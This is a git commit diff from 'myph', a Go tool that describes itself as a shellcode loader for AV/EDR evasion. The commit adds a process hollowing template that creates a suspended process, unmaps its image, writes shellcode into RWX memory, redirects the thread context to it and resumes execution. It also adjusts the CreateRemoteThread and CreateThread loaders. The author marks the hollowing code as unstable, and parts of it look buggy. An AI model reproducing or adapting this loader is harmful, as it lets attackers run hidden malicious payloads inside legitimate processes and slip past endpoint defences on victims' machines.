myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 9c54b9dce340257d5efa17f8d376a07ed33c313c
parent a8e4188ebec8a391c500766341b2324e870307e9
Author: winds0r <[email protected]>
Date: Sat, 29 Jul 2023 18:18:24 +0900

wip(loaders): ProcessHollowing x_x

Diffstat:
Mloaders/createRemoteThread.go | 10++++------
Mloaders/createThread.go | 1-
Mloaders/processHollowing.go | 216++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-----------------

3 files changed, 175 insertions(+), 52 deletions(-)

diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -9,8 +9,8 @@ func GetCRTTemplate(targetProcess string) string {
 package main
 
 import (
-        "syscall"
-        "unsafe"
+    "syscall"
+    "unsafe"
 )
 
 
@@ -39,7 +39,6 @@ func loadProcess(target string) *syscall.ProcessInformation {
 	var pi syscall.ProcessInformation
 
 	commandLine, err := syscall.UTF16PtrFromString(target)
-
 	if err != nil {
 		panic(err)
 	}
@@ -54,9 +53,8 @@ func loadProcess(target string) *syscall.ProcessInformation {
 		nil,
 		nil,
 		&si,
-		&pi)
-
-	if err != nil {
+		&pi,
+    ); if err != nil {
 		panic(err)
 	}
 
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -63,7 +63,6 @@ func ExecuteOrderSixtySix(shellcode []byte) {
     */
     for {
         time.Sleep(100 * time.Second)
-
     }
 }
     `)
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -5,15 +5,8 @@ import (
 )
 
 /*
-    1. create Process in suspended state
-    2. create new section in suspended process, length of which is our shellcode
-    3. copy shellcode to section
-    4. map out new section using NtMapViewOfSection
-    5. unmap the section immediately
-    6. NtQueueApcThread
-    7. set thread information
-    8. resume Thread, enjoy life
-
+   adapted from go-runpe:
+   https://github.com/abdullah2993/go-runpe
 
    For more information, feel free to read this:
    https://www.blackhat.com/docs/asia-17/materials/asia-17-KA-What-Malware-Authors-Don't-Want-You-To-Know-Evasive-Hollow-Process-Injection-wp.pdf
@@ -21,50 +14,52 @@ import (
 
 func GetProcessHollowingTemplate(targetProcess string) string {
 
-	println("[!] Please be aware this is still a work in progress and unstable.")
-	println("Maybe you could use another technique instead...? I hear the CreateThread one is pretty good...\n")
+	println("\n[!] Please be aware ProcessHollowing implementation is still a work in progress and unstable.")
+	println("Maybe you could use another technique instead...? I hear the CRT one is pretty good...\n")
 
 	return fmt.Sprintf(`
-    package main
+package main
 
 import (
-	"os"
+    "os/exec"
+    "path/filepath"
+	"bytes"
+	"debug/pe"
+	"encoding/binary"
+	"io/ioutil"
 	"syscall"
 	"unsafe"
 )
 
+
 const (
-	MEM_COMMIT             = 0x1000
-	MEM_RESERVE            = 0x2000
-	PAGE_EXECUTE_READWRITE = 0x40
-
-    SEC_COMMIT          = 0x08000000
-    SECTION_ALL_ACCESS  = 0x000F001F
-    CREATE_SUSPENDED    = 0x00000004
-    DETACHED_PROCESS    = 0x00000008
-    CREATE_NO_WINDOW    = 0x08000000
+    CREATE_SUSPENDED          = 0x00000004
+    CREATE_NO_WINDOW          = 0x08000000
+
+    MEM_COMMIT                = 0x00001000
+    MEM_RESERVE               = 0x00002000
+    PAGE_EXECUTE_READWRITE    = 0x00000040
 )
 
 var (
-	kernel32 = syscall.MustLoadDLL("kernel32.dll")
-	ntdll    = syscall.MustLoadDLL("ntdll.dll")
-
-    zwCreateSection = ntdll.MustFindProc("ZwCreateSection")
-
-	virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
-	rtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
-	createThread  = kernel32.MustFindProc("CreateThread")
-    createProcess = kernel32.MustFindProc("CreateProcess")
-    resumeThread = kernel32.MustFindProc("ResumeThread")
+	modkernel32         = syscall.MustLoadDLL("kernel32.dll")
+	WriteProcessMemory  = modkernel32.MustFindProc("WriteProcessMemory")
+	ReadProcessMemory   = modkernel32.MustFindProc("ReadProcessMemory")
+	VirtualAllocEx      = modkernel32.MustFindProc("VirtualAllocEx")
+	GetThreadContext    = modkernel32.MustFindProc("GetThreadContext")
+	SetThreadContext    = modkernel32.MustFindProc("SetThreadContext")
+	ResumeThread        = modkernel32.MustFindProc("ResumeThread")
+
+	modntdll                = syscall.MustLoadDLL("ntdll.dll")
+	NtUnmapViewOfSection    = modntdll.MustFindProc("NtUnmapViewOfSection")
 )
 
-func loadProcess(target string) *syscall.ProcessInformation {
+
+func createProcess(processName string) *syscall.ProcessInformation {
     var si syscall.StartupInfo
 	var pi syscall.ProcessInformation
 
-	commandLine, err := syscall.UTF16PtrFromString(target)
-
-	if err != nil {
+	commandLine, err := syscall.UTF16PtrFromString(processName); if err != nil {
 		panic(err)
 	}
 
@@ -78,23 +73,154 @@ func loadProcess(target string) *syscall.ProcessInformation {
 		nil,
 		nil,
 		&si,
-		&pi)
-
-	if err != nil {
+		&pi,
+    ); if err != nil {
 		panic(err)
 	}
 
-    println("[+] Created process in suspended state")
-
 	return &pi
 }
 
-func ExecuteOrderSixtySix(payload []byte) {
-    process := loadProcess("%s")
+func readProcessAddr(hProcess uintptr, addr uintptr) (result uintptr, e error) {
+    size := 8
+
+    var numBytesRead uintptr
+    data := make([]byte, size)
+
+	r, _, err := ReadProcessMemory.Call(
+        hProcess,
+		addr,
+		uintptr(unsafe.Pointer(&data[0])),
+		uintptr(size),
+		uintptr(unsafe.Pointer(&numBytesRead)),
+    )
+	if r == 0 {
+		e = err
+        return
+	}
+
+	result = uintptr(binary.LittleEndian.Uint64(data))
+    return
+}
+
+func findProgramPath(filename string) (string, error) {
+    fname, err := exec.LookPath(filename); if err != nil {
+        return "", err
+    }
+    return filepath.Abs(fname)
+}
+
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+    // target process
+    processName := "%s"
+    process := createProcess(processName)
 
+    println("process created")
+
+    // process & thread handles
+    hProcess := uintptr(process.Process)
+    hThread := uintptr(process.Thread)
+
+    // get thread context
+    ctx := make([]uint8, 0x1000)
+    binary.LittleEndian.PutUint32(ctx[48:], 0x00100000|0x00000002)
+    ctxPtr := unsafe.Pointer(&ctx[0])
+
+    r, _, err := GetThreadContext.Call(hThread, uintptr(ctxPtr)); if r == 0 {
+        panic(err)
+    }
+
+    println("received thread context")
+
+    /*
+        https://stackoverflow.com/questions/37656523/declaring-context-struct-for-pinvoke-windows-x64
+        https://bytepointer.com/resources/tebpeb64.htm
+    */
+    remoteRdx := binary.LittleEndian.Uint64(ctx[136:])
+    imageBaseAddr, err := readProcessAddr(hProcess, uintptr(remoteRdx + 16)); if err != nil {
+        panic(nil)
+    }
+
+    programPath, err := findProgramPath(processName); if err != nil {
+        panic(err)
+    }
+
+    destPE, err := ioutil.ReadFile(programPath); if err != nil {
+		panic(err)
+	}
+
+	destPEReader := bytes.NewReader(destPE)
+	f, err := pe.NewFile(destPEReader); if err != nil {
+        panic(err)
+    }
+
+    oh, ok := f.OptionalHeader.(*pe.OptionalHeader64); if !ok {
+		panic("OptionalHeader64 not found")
+	}
+
+    /* unmapping image from process */
+    r, _, err = NtUnmapViewOfSection.Call(
+        hProcess,
+        imageBaseAddr,
+    ); if r != 0 {
+        panic(err)
+    }
+
+    /* allocating data */
+    newBaseImage, _, err := VirtualAllocEx.Call(
+        hProcess,
+        imageBaseAddr,
+        uintptr(len(shellcode)),
+        uintptr(MEM_COMMIT | MEM_RESERVE),
+        uintptr(PAGE_EXECUTE_READWRITE),
+    ); if newBaseImage == 0 {
+        panic(err)
+    }
+
+    /* writing program to memory */
+    var numBytesRead uintptr
+    r, _, err = WriteProcessMemory.Call(
+        hProcess,
+        newBaseImage,
+        uintptr(unsafe.Pointer(&shellcode[0])),
+        uintptr(len(shellcode)),
+        uintptr(unsafe.Pointer(&numBytesRead)),
+    ); if r == 0 {
+        panic(err)
+    }
+
+    /* writing new image base to rdx */
+    addr := make([]byte, 8)
+	binary.LittleEndian.PutUint64(addr, uint64(newBaseImage))
+	r, _, err = WriteProcessMemory.Call(
+        hProcess,
+        uintptr(remoteRdx + 16),
+        uintptr(unsafe.Pointer(&addr)),
+        uintptr(8),
+        uintptr(unsafe.Pointer(&numBytesRead)),
+    ); if r == 0 {
+		panic(err)
+	}
 
-    /* block, so that process does not die (useful for C2 implants) */
-    select {}
+    /* setting thread context again ! */
+    binary.LittleEndian.PutUint64(
+        ctx[128:],
+        uint64(newBaseImage) + uint64(oh.AddressOfEntryPoint),
+    )
+    r, _, err = SetThreadContext.Call(
+        hThread,
+        uintptr(unsafe.Pointer(&ctx[0])),
+    ); if r == 0 {
+        panic(err)
+    }
+
+    /* Resuming thread and execute payload */
+    r, _, err = ResumeThread.Call(
+        hThread,
+    ); if r == 0xfffffff {
+        panic(err)
+    }
 }
     `, targetProcess)
 }